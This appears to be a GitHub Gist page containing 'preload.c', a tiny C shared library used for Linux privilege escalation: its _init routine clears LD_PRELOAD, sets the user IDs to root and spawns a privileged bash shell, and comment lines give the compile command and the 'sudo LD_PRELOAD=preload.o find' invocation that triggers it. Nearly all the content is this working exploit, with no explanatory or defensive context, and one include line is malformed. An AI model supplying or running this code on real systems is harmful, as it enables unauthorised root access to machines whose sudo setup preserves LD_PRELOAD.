Last active
December 13, 2019 04:36
-
-
Save lucasallan/ef7f56d8512cff71d3730d5f4975ef78 to your computer and use it in GitHub Desktop.
preload.c
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#include <stdio.> | |
#include <sys/types.h> | |
#include <stdlib.h> | |
void _init(){ | |
unsetenv("LD_PRELOAD"); | |
setresuid(0,0,0); | |
system("/bin/bash -p"); | |
} | |
// gcc -fPIC -shared -nostartfiles -o preload.o preload.c | |
// sudo LD_PRELOAD=preload.o find |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment